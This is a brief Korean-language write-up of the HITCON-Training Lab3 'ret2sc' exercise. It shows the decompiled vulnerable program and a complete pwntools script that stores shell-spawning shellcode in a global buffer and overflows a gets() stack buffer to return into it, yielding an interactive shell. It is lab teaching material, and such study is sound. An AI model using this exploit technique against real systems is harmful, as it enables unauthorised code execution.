[HITCON-Training]Lab3
return to shellcode 문제다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-14h]
setvbuf(stdout, 0, 2, 0);
printf("Name:");
read(0, &name, 50u);
printf("Try your best:");
return (int)gets(&s);
}
name은 bss에 저장된 전역변수이다.
name에 shellcode를 넣고 gets로 return을 name으로 해주면 shellcode가 실행될거다.
from pwn import *
e = ELF('./ret2sc')
p = process('./ret2sc')
p.sendlineafter(':',asm(shellcraft.i386.sh()))
pay = 'A'*(0x1c+4)
pay += p32(0x0804A060)
p.sendlineafter(':',pay)
p.interactive()